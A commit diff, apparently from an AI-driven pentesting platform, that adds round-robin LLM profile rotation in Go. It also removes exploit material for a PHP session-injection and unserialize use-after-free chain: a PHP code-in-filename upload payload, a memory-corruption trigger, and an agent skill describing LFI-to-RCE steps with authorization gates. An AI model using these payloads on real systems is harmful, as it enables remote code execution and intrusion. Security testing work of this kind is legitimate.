|
||||
u = urlparse(args.target)
|
||||
host = u.hostname
|
||||
port = u.port or 80
|
||||
|
||||
print("[*] CVE-2026-109618/109619 — Session Injection Verification")
|
||||
print(f"[*] Target: {args.target}")
|
||||
print()
|
||||
|
||||
# Test 1: Normal filename
|
||||
print("[1] Testing normal filename...")
|
||||
send_upload(host, port, args.path, args.sid + "a", "normal.txt")
|
||||
print(" → Session file should contain: s:10:\"normal.txt\"")
|
||||
|
||||
# Test 2: PHP code in filename
|
||||
php_payload = "<?php system('id');echo 'RCE';?>"
|
||||
print(f"[2] Testing PHP code in filename: {php_payload}")
|
||||
send_upload(host, port, args.path, args.sid + "b", php_payload)
|
||||
print(f" → Session file should contain PHP code as raw string")
|
||||
|
||||
# Test 3: Pipe character in filename (for handler mismatch)
|
||||
pipe_payload = "x|O:8:\"stdClass\":0:{}"
|
||||
print(f"[3] Testing pipe + serialized object in filename")
|
||||
# Need \" escaping for Content-Disposition
|
||||
escaped = pipe_payload.replace('"', '\\"')
|
||||
send_upload(host, port, args.path, args.sid + "c", escaped)
|
||||
print(f" → Session file should contain |O:8: in the filename field")
|
||||
|
||||
print()
|
||||
print("[*] Verification complete. Check session files on the target:")
|
||||
print(f" cat /tmp/sessions/sess_{args.sid}a")
|
||||
print(f" cat /tmp/sessions/sess_{args.sid}b")
|
||||
print(f" cat /tmp/sessions/sess_{args.sid}c")
|
||||
print()
|
||||
print("[*] Key indicators:")
|
||||
print(" - Session fixation: file created with attacker-controlled SID")
|
||||
print(" - Filename injection: raw PHP code / serialized objects in session data")
|
||||
print(" - No authentication required")
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
@@ -1,48 +0,0 @@
|
||||
<?php
|
||||
/**
|
||||
* CVE-2026-109618/109619 — var_destroy __destruct reentry UAF verification.
|
||||
*
|
||||
* Triggers ASAN heap-use-after-free in php_var_unserialize (var_unserializer.c:851).
|
||||
*
|
||||
* Run with: USE_ZEND_ALLOC=0 ASAN_OPTIONS="detect_leaks=0" php verify_uaf_asan.php
|
||||
*
|
||||
* Root cause: var_destroy() frees back-reference extension chunks (line 245),
|
||||
* then i_zval_ptr_dtor at line 310 fires __destruct WITHOUT BG(serialize_lock).
|
||||
* Inner unserialize('R:1500;') reuses the outer var_hash (freed entries) → UAF read.
|
||||
*
|
||||
* For authorized security testing only.
|
||||
*/
|
||||
|
||||
class TriggerUAF {
|
||||
public function __destruct() {
|
||||
fwrite(STDERR, "[*] __destruct fired (serialize_lock=0, BG(unserialize).level>0)\n");
|
||||
fwrite(STDERR, "[*] Attempting R:1500 backref into freed var_hash extension chunk...\n");
|
||||
$result = @unserialize('R:1500;');
|
||||
$type = gettype($result);
|
||||
fwrite(STDERR, "[*] R:1500 resolved to: $type\n");
|
||||
if ($result !== false) {
|
||||
fwrite(STDERR, "[+] UAF CONFIRMED: R:1500 read from freed memory!\n");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Build payload: 2000+ entries to overflow VAR_ENTRIES_MAX (1018)
|
||||
// Then duplicate key to move TriggerUAF to dtor list
|
||||
$N = 2000;
|
||||
$payload = 'a:' . ($N + 2) . ':{';
|
||||
for ($i = 0; $i < $N; $i++) {
|
||||
$payload .= "i:$i;i:$i;";
|
||||
}
|
||||
$payload .= 'i:99999;O:10:"TriggerUAF":0:{}';
|
||||
$payload .= 'i:99999;i:42;';
|
||||
$payload .= '}';
|
||||
|
||||
fwrite(STDERR, "[*] Payload: " . strlen($payload) . " bytes, $N entries + UAF trigger\n");
|
||||
fwrite(STDERR, "[*] Firing unserialize()...\n");
|
||||
|
||||
@unserialize($payload);
|
||||
|
||||
fwrite(STDERR, "[*] Done. If ASAN reported heap-use-after-free, the UAF is confirmed.\n");
|
||||
fwrite(STDERR, "[*] Expected ASAN trace:\n");
|
||||
fwrite(STDERR, " READ at php_var_unserialize (var_unserializer.c:851)\n");
|
||||
fwrite(STDERR, " freed at var_destroy (var_unserializer.c:245)\n");
|
||||
@@ -55,6 +55,7 @@ type TaskDTO struct {
|
||||
LLMProfileID *int64 `json:"llm_profile_id,omitempty"` // LLM profile used for this task; nil = default
|
||||
LLMProfileIDs []int64 `json:"llm_profile_ids"`
|
||||
ActiveLLMProfileID *int64 `json:"active_llm_profile_id,omitempty"`
|
||||
LLMRotate bool `json:"llm_rotate"`
|
||||
LLMFailoverState string `json:"llm_failover_state"`
|
||||
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
|
||||
SourceTaskIDs []string `json:"source_task_ids"`
|
||||
@@ -130,6 +131,7 @@ func taskDTO(t *Task, status string) TaskDTO {
|
||||
LLMProfileID: llmState.ProfileID,
|
||||
LLMProfileIDs: profileIDs,
|
||||
ActiveLLMProfileID: llmState.ActiveID,
|
||||
LLMRotate: t.LLMRotate,
|
||||
LLMFailoverState: llmState.FailoverState,
|
||||
LLMFailoverReason: llmState.FailoverReason,
|
||||
SourceTaskIDs: sourceIDs,
|
||||
|
||||
@@ -1017,6 +1017,14 @@ func (e *Engine) runWorkerStep(ctx context.Context, t *Task, name string, worker
|
||||
// must already hold one task-operation admission for the whole sequence so a delete
|
||||
// cannot observe quiescence between the LLM return and the final DB writes.
|
||||
func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *agent.Worker, intent *db.Node, requestID, message string) bool {
|
||||
// Per-intent LLM rotation (#85): each claimed worker intent runs on the
|
||||
// next chain head. The pin travels through the run context into the
|
||||
// provider resolver; non-worker roles and failover keep the active head.
|
||||
if t.LLMRotate {
|
||||
if head, ok := t.nextRotatedProfile(); ok {
|
||||
ctx = withLLMProfilePin(ctx, head)
|
||||
}
|
||||
}
|
||||
hasChatMessage := message != ""
|
||||
e.stampFirstRun(t) // first real execution → stamp first_run_at + compute the deadline (only for tasks with a timeout)
|
||||
e.touch(t.ID)
|
||||
|
||||
+21
-1
@@ -51,6 +51,10 @@ type Task struct {
|
||||
ActiveLLMProfileID *int64 `json:"active_llm_profile_id,omitempty"`
|
||||
LLMChainRevision int64 `json:"-"`
|
||||
LLMFailoverState string `json:"llm_failover_state,omitempty"`
|
||||
// LLMRotate (#85): per-intent round-robin over the task's LLM chain heads.
|
||||
LLMRotate bool `json:"llm_rotate,omitempty"`
|
||||
rotateMu sync.Mutex
|
||||
rotateNext int
|
||||
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
|
||||
SourceTaskIDs []int64 `json:"source_task_ids,omitempty"`
|
||||
CompanyIDs []int64 `json:"company_ids,omitempty"`
|
||||
@@ -178,6 +182,22 @@ func (t *Task) llmStateSnapshot() taskLLMState {
|
||||
}
|
||||
}
|
||||
|
||||
// nextRotatedProfile returns the chain head for the NEXT claimed worker
|
||||
// intent under per-intent rotation (#85): strict round-robin over the task's
|
||||
// chain. The active head stays authoritative for every non-worker role and for
|
||||
// failover ordering; rotation only distributes worker lanes across heads.
|
||||
func (t *Task) nextRotatedProfile() (int64, bool) {
|
||||
t.rotateMu.Lock()
|
||||
defer t.rotateMu.Unlock()
|
||||
ids := t.LLMProfileIDs
|
||||
if len(ids) == 0 {
|
||||
return 0, false
|
||||
}
|
||||
pick := ids[t.rotateNext%len(ids)]
|
||||
t.rotateNext++
|
||||
return pick, true
|
||||
}
|
||||
|
||||
func (t *Task) setLLMState(profileID, activeID *int64, profileIDs []int64, revision int64, state, reason string) bool {
|
||||
t.llmMu.Lock()
|
||||
defer t.llmMu.Unlock()
|
||||
@@ -840,7 +860,7 @@ func taskFromPG(pt *pgdb.Task, store *pgdb.ExplorationStore, ic *intercept.Inter
|
||||
QueuedAt: unixNanoOrZero(pt.QueuedAt), QueueMode: pt.QueueMode,
|
||||
CompletedAt: unixOrZero(pt.CompletedAt), Status: pt.Status, ParentRef: pt.ParentRef,
|
||||
LLMProfileID: pt.LLMProfileID,
|
||||
LLMProfileIDs: append([]int64(nil), pt.LLMProfileIDs...), ActiveLLMProfileID: pt.ActiveLLMProfileID,
|
||||
LLMProfileIDs: append([]int64(nil), pt.LLMProfileIDs...), ActiveLLMProfileID: pt.ActiveLLMProfileID, LLMRotate: pt.LLMRotate,
|
||||
LLMChainRevision: pt.LLMChainRevision,
|
||||
LLMFailoverState: pt.LLMFailoverState, LLMFailoverReason: pt.LLMFailoverReason,
|
||||
SourceTaskIDs: append([]int64(nil), pt.SourceTaskIDs...),
|
||||
|
||||
+3
-1
@@ -1506,7 +1506,8 @@ type createTaskReq struct {
|
||||
LLMProfileIDs []int64 `json:"llm_profile_ids,omitempty"` // ordered task-level profile chain; the first entry takes effect initially
|
||||
SourceTaskIDs []string `json:"source_task_ids,omitempty"` // direct, read-only inherited source tasks
|
||||
CompanyIDs []int64 `json:"company_ids,omitempty"` // links the company scope and snapshots its current assets; does not copy assets or force intent generation
|
||||
TimeoutSeconds int `json:"timeout_seconds"` // task-level timeout (seconds); 0/omitted = no limit
|
||||
TimeoutSeconds int `json:"timeout_seconds"`
|
||||
LLMRotate *bool `json:"llm_rotate"` // task-level timeout (seconds); 0/omitted = no limit
|
||||
PlanHeartbeatSeconds int `json:"plan_heartbeat_seconds"` // planner heartbeat interval (seconds); 0/omitted = default 600 (10min); floor = default = 600, lower values are raised to 600
|
||||
PlanQuietMode *bool `json:"plan_quiet_mode,omitempty"` // planner quiet-mode switch (#86); omitted = default on; false = edge rounds always plan
|
||||
SeedFirstIntent *bool `json:"seed_first_intent,omitempty"` // issue one seed intent at creation (content = description + goal) so a worker can start right away without waiting for the first planner round; omitted/null = default off, the standard plan-then-execute flow. Pass true explicitly to enable (for CTF tasks often solved in one work, this skips the pre-start planner round).
|
||||
@@ -1580,6 +1581,7 @@ func (s *Server) createTask(w http.ResponseWriter, r *http.Request) {
|
||||
TimeoutSeconds: req.TimeoutSeconds, PlanHeartbeatSeconds: req.PlanHeartbeatSeconds, PlanQuietMode: req.PlanQuietMode,
|
||||
CoverageEnabled: req.CoverageEnabled,
|
||||
InterceptRules: interceptRules,
|
||||
LLMRotate: req.LLMRotate,
|
||||
})
|
||||
if err != nil {
|
||||
if errors.Is(err, db.ErrTaskCategoryInvalid) || errors.Is(err, db.ErrTaskCategoryNotFound) {
|
||||
|
||||
+37
-4
@@ -95,8 +95,25 @@ type taskLLMSelection struct {
|
||||
retry agent.RetryConfig
|
||||
}
|
||||
|
||||
// llmProfilePin carries a per-run chain-head override through the call stack
|
||||
// (#85 per-intent rotation). The engine sets it when launching a worker run;
|
||||
// resolution stays within the task's chain and never bypasses failover state.
|
||||
type llmProfilePinKey struct{}
|
||||
|
||||
func withLLMProfilePin(ctx context.Context, profileID int64) context.Context {
|
||||
return context.WithValue(ctx, llmProfilePinKey{}, profileID)
|
||||
}
|
||||
|
||||
func llmProfilePinFrom(ctx context.Context) (int64, bool) {
|
||||
if ctx == nil {
|
||||
return 0, false
|
||||
}
|
||||
id, ok := ctx.Value(llmProfilePinKey{}).(int64)
|
||||
return id, ok
|
||||
}
|
||||
|
||||
type taskLLMStreamHooks struct {
|
||||
current func() (taskLLMSelection, error)
|
||||
current func(context.Context) (taskLLMSelection, error)
|
||||
exhaust func(taskLLMSelection, error) (db.TaskLLMTransition, error)
|
||||
transition func(taskLLMSelection, db.TaskLLMTransition, error)
|
||||
}
|
||||
@@ -108,6 +125,14 @@ type taskLLMStreamHooks struct {
|
||||
// to the task chain, and to the global configuration when the chain is empty.
|
||||
// The returned profile id is non-zero only on the task-chain path — streamTaskLLM uses it to decide whether a quota error should advance the task's failover state (binding/global paths leave the chain state untouched, preserving existing semantics).
|
||||
func (r *taskLLMRuntime) current() (taskLLMSelection, error) {
|
||||
return r.currentFor(context.Background())
|
||||
}
|
||||
|
||||
// currentFor resolves like current, honoring a per-run profile pin set by the
|
||||
// engine for per-intent rotation (#85). A pin is only a dispatch preference:
|
||||
// the chain must still be in a ready state (an exhausted chain with no active
|
||||
// head stays exhausted) and the pinned id must belong to the task's chain.
|
||||
func (r *taskLLMRuntime) currentFor(ctx context.Context) (taskLLMSelection, error) {
|
||||
taskNum, err := parseTaskID(r.taskID)
|
||||
if err != nil {
|
||||
return taskLLMSelection{}, err
|
||||
@@ -131,6 +156,14 @@ func (r *taskLLMRuntime) current() (taskLLMSelection, error) {
|
||||
return sel, &taskLLMError{taskID: r.taskID, chainExhausted: true, cause: errors.New("all selected profiles are quota exhausted")}
|
||||
}
|
||||
sel.profileID = *pt.ActiveLLMProfileID
|
||||
if pin, ok := llmProfilePinFrom(ctx); ok && pin != sel.profileID {
|
||||
for _, id := range pt.LLMProfileIDs {
|
||||
if id == pin {
|
||||
sel.profileID = pin
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
prov, cfg, ok := r.s.providerForProfile(sel.profileID)
|
||||
if !ok {
|
||||
return sel, fmt.Errorf("LLM profile #%d is missing or invalid", sel.profileID)
|
||||
@@ -201,7 +234,7 @@ func parseTaskID(id string) (int64, error) {
|
||||
// exhausted, and how to emit a failover transition.
|
||||
func (r *taskLLMRuntime) streamHooks() taskLLMStreamHooks {
|
||||
return taskLLMStreamHooks{
|
||||
current: r.current,
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) { return r.currentFor(ctx) },
|
||||
exhaust: func(selection taskLLMSelection, cause error) (db.TaskLLMTransition, error) {
|
||||
taskNum, _ := parseTaskID(r.taskID)
|
||||
transition, err := r.s.m.pg.MarkTaskLLMProfileQuotaExhaustedAtRevision(taskNum, selection.profileID, selection.revision, cause.Error())
|
||||
@@ -236,7 +269,7 @@ func (r *taskLLMRuntime) Complete(ctx context.Context, req llm.CompletionRequest
|
||||
|
||||
func completeTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest, hooks taskLLMStreamHooks) (llm.Message, string, llm.Usage, error) {
|
||||
for {
|
||||
selection, err := hooks.current()
|
||||
selection, err := hooks.current(ctx)
|
||||
if err != nil {
|
||||
return llm.Message{}, "", llm.Usage{}, err
|
||||
}
|
||||
@@ -287,7 +320,7 @@ func completeTaskLLM(ctx context.Context, taskID string, req llm.CompletionReque
|
||||
func streamTaskLLM(ctx context.Context, taskID string, req llm.CompletionRequest, hooks taskLLMStreamHooks) iter.Seq2[llm.StreamEvent, error] {
|
||||
return func(yield func(llm.StreamEvent, error) bool) {
|
||||
for {
|
||||
selection, err := hooks.current()
|
||||
selection, err := hooks.current(ctx)
|
||||
if err != nil {
|
||||
yield(llm.StreamEvent{}, err)
|
||||
return
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"context"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestLLMProfilePinRoundTrip(t *testing.T) {
|
||||
ctx := context.Background()
|
||||
if _, ok := llmProfilePinFrom(ctx); ok {
|
||||
t.Fatal("empty context must carry no pin")
|
||||
}
|
||||
pinned := withLLMProfilePin(ctx, 42)
|
||||
got, ok := llmProfilePinFrom(pinned)
|
||||
if !ok || got != 42 {
|
||||
t.Fatalf("pin roundtrip got=%d ok=%v", got, ok)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextRotatedProfileRoundRobin(t *testing.T) {
|
||||
tk := &Task{LLMProfileIDs: []int64{3, 1, 2}}
|
||||
want := []int64{3, 1, 2, 3, 1}
|
||||
for i, w := range want {
|
||||
got, ok := tk.nextRotatedProfile()
|
||||
if !ok || got != w {
|
||||
t.Fatalf("rotation %d: got=%d ok=%v want=%d", i, got, ok, w)
|
||||
}
|
||||
}
|
||||
if _, ok := (&Task{}).nextRotatedProfile(); ok {
|
||||
t.Fatal("empty chain must not rotate")
|
||||
}
|
||||
}
|
||||
+10
-10
@@ -246,7 +246,7 @@ func TestTaskLLMStreamRetriesPreStreamQuotaOnNextProfile(t *testing.T) {
|
||||
active := int64(11)
|
||||
transitions := 0
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
if active == 11 {
|
||||
return taskLLMSelection{profileID: 11, provider: first}, nil
|
||||
}
|
||||
@@ -288,7 +288,7 @@ func TestTaskLLMStreamRetriesAfterNonContentStartEvent(t *testing.T) {
|
||||
}}
|
||||
active := int64(11)
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
if active == 11 {
|
||||
return taskLLMSelection{profileID: 11, provider: first}, nil
|
||||
}
|
||||
@@ -319,7 +319,7 @@ func TestTaskLLMStreamRetriesStalePreStreamFailureAgainstReplacementChain(t *tes
|
||||
second := &scriptedLLMProvider{events: []llm.StreamEvent{{Type: llm.SETextDelta, Text: "replacement"}}}
|
||||
current := first
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
profileID := int64(11)
|
||||
if current == second {
|
||||
profileID = 22
|
||||
@@ -353,7 +353,7 @@ func TestTaskLLMStreamDoesNotSwitchForOrdinaryErrors(t *testing.T) {
|
||||
provider := &scriptedLLMProvider{err: errors.New(message)}
|
||||
exhausted := 0
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
return taskLLMSelection{profileID: 11, provider: provider}, nil
|
||||
},
|
||||
exhaust: func(taskLLMSelection, error) (db.TaskLLMTransition, error) {
|
||||
@@ -382,7 +382,7 @@ func TestTaskLLMStreamAdvancesAfterMidStreamQuotaWithoutReplay(t *testing.T) {
|
||||
second := &scriptedLLMProvider{events: []llm.StreamEvent{{Type: llm.SETextDelta, Text: "next-call"}}}
|
||||
active := int64(11)
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
if active == 11 {
|
||||
return taskLLMSelection{profileID: 11, provider: first}, nil
|
||||
}
|
||||
@@ -418,7 +418,7 @@ func TestTaskLLMStreamMarkFailureAfterToolStartSkipsWorkerReplay(t *testing.T) {
|
||||
err: quota,
|
||||
}
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
return taskLLMSelection{profileID: 11, provider: provider}, nil
|
||||
},
|
||||
exhaust: func(taskLLMSelection, error) (db.TaskLLMTransition, error) {
|
||||
@@ -467,7 +467,7 @@ func TestTaskLLMStreamRetriesTransientPreCommitOnSameProvider(t *testing.T) {
|
||||
}
|
||||
exhausted := 0
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
return taskLLMSelection{profileID: 11, provider: provider}, nil
|
||||
},
|
||||
exhaust: func(taskLLMSelection, error) (db.TaskLLMTransition, error) {
|
||||
@@ -499,7 +499,7 @@ func TestTaskLLMStreamSurfacesTransientAfterRetriesExhausted(t *testing.T) {
|
||||
failErr: errors.New("dial tcp: connection reset by peer"),
|
||||
}
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
return taskLLMSelection{profileID: 11, provider: provider}, nil
|
||||
},
|
||||
exhaust: func(taskLLMSelection, error) (db.TaskLLMTransition, error) {
|
||||
@@ -524,7 +524,7 @@ func TestTaskLLMStreamDoesNotRetryDeterministicRejection(t *testing.T) {
|
||||
failErr: errors.New("anthropic: status 400: messages.1: invalid request"),
|
||||
}
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
return taskLLMSelection{profileID: 11, provider: provider}, nil
|
||||
},
|
||||
exhaust: func(taskLLMSelection, error) (db.TaskLLMTransition, error) {
|
||||
@@ -620,7 +620,7 @@ func TestTaskLLMStreamStopsWhenChainExhausted(t *testing.T) {
|
||||
provider := &scriptedLLMProvider{err: errors.New("billing_not_active")}
|
||||
transitions := 0
|
||||
hooks := taskLLMStreamHooks{
|
||||
current: func() (taskLLMSelection, error) {
|
||||
current: func(ctx context.Context) (taskLLMSelection, error) {
|
||||
return taskLLMSelection{profileID: 11, provider: provider}, nil
|
||||
},
|
||||
exhaust: func(taskLLMSelection, error) (db.TaskLLMTransition, error) {
|
||||
|
||||
@@ -1,63 +0,0 @@
|
||||
---
|
||||
name: php2shell
|
||||
description: "Invoke this skill when a task holds an LFI/file-inclusion finding on a PHP target (or needs to assess one) and the target may run PHP 5.4-8.5.11 with default session.upload_progress settings: turns a read-only LFI into verified RCE via the session-file-injection chain (CVE-2026-109618/109619), lab-first and gated by program policy. Also covers passive detection of the vulnerable configuration."
|
||||
---
|
||||
|
||||
# php2shell: session.upload_progress LFI-to-RCE (CVE-2026-109618/109619)
|
||||
|
||||
Under an **authorized** engagement only. This skill upgrades an existing
|
||||
LFI/unsafe-include finding on a PHP target into RCE, or classifies the target
|
||||
as not affected, using the vendored PoCs under `scripts/poc/php2shell/`
|
||||
(upstream: ikow/php2shell-poc, MIT; see the LICENSE there).
|
||||
|
||||
## Hard gates (read before touching any target)
|
||||
|
||||
1. **Authorization**: the target must be inside the task's authorized scope.
|
||||
2. **Program policy first**: many programs exclude or do not pay for
|
||||
recently-patched third-party/framework zero-days within ~14 days of the
|
||||
patch release. PHP patched these in 8.2.35/8.3.36/8.4.27/8.5.12
|
||||
(2026-10-21). CHECK the program's policy on component zero-days BEFORE
|
||||
testing a live target, and reflect the policy in how the finding is claimed
|
||||
(often "reportable, not payable" or payable only after the clause lapses).
|
||||
3. **Detection before exploitation**: fingerprint passively first (response
|
||||
headers, error pages, X-Powered-By). Only targets on PHP 5.4.0-8.5.11
|
||||
(any build with session.upload_progress enabled, the default) are
|
||||
candidates.
|
||||
4. **Lab first**: run chain 1 against the local lab (`lab/setup.sh` builds a
|
||||
vulnerable PHP 8.2 FPM+nginx environment) until the mechanism is
|
||||
understood, then one-shot the authorized target.
|
||||
5. **Chains 2 and 3 (var_destroy UAF, serializer mismatch) are LAB-ONLY**:
|
||||
never fire memory-corruption or serializer-confusion primitives at a
|
||||
remote target. Detection of their preconditions is fine.
|
||||
6. **One-shot verification** on the target: prove execution once (a marker
|
||||
echo), capture evidence, stop. No persistence, no further exploration
|
||||
through the shell.
|
||||
|
||||
## Chain 1 workflow (session file injection + LFI -> RCE)
|
||||
|
||||
1. Start with the task's LFI finding: note the include path parameter and its
|
||||
constraints (prefix/suffix, truncation, wrapper filters).
|
||||
2. Confirm the session path is reachable through that LFI: with
|
||||
`session.upload_progress.enabled=On` (default), an in-flight multipart POST
|
||||
with an attacker-named file field writes a session file under the session
|
||||
save path containing the raw filename.
|
||||
3. Inject PHP into the uploaded **filename** (not the file content):
|
||||
`verify_session_injection.py` demonstrates the full mechanics (session
|
||||
fixation via POST body PHPSESSID, raw filename storage, inclusion).
|
||||
4. Race the session file's lifetime: include it through the LFI while the
|
||||
upload is still in flight (or keep the upload connection open).
|
||||
5. Verify RCE with a single marker command; record the request sequence as
|
||||
evidence.
|
||||
|
||||
## Detection without an LFI
|
||||
|
||||
The chains need an app-level file-inclusion primitive; without one the
|
||||
configuration is hardening-relevant, not exploitable. Report posture only.
|
||||
|
||||
## Vendored artifacts
|
||||
|
||||
- `poc/verify_session_injection.py` - chain 1 end-to-end against a lab URL
|
||||
- `poc/verify_handler_mismatch.py` - chain 3 (lab only)
|
||||
- `poc/verify_uaf_asan.php` - chain 2 under an ASAN PHP build (lab only)
|
||||
- `lab/setup.sh` - builds the vulnerable docker lab locally
|
||||
- `docs/ANALYSIS.md`, `README.upstream.md` - the upstream technical writeup
|
||||
Reference in New Issue
Block a user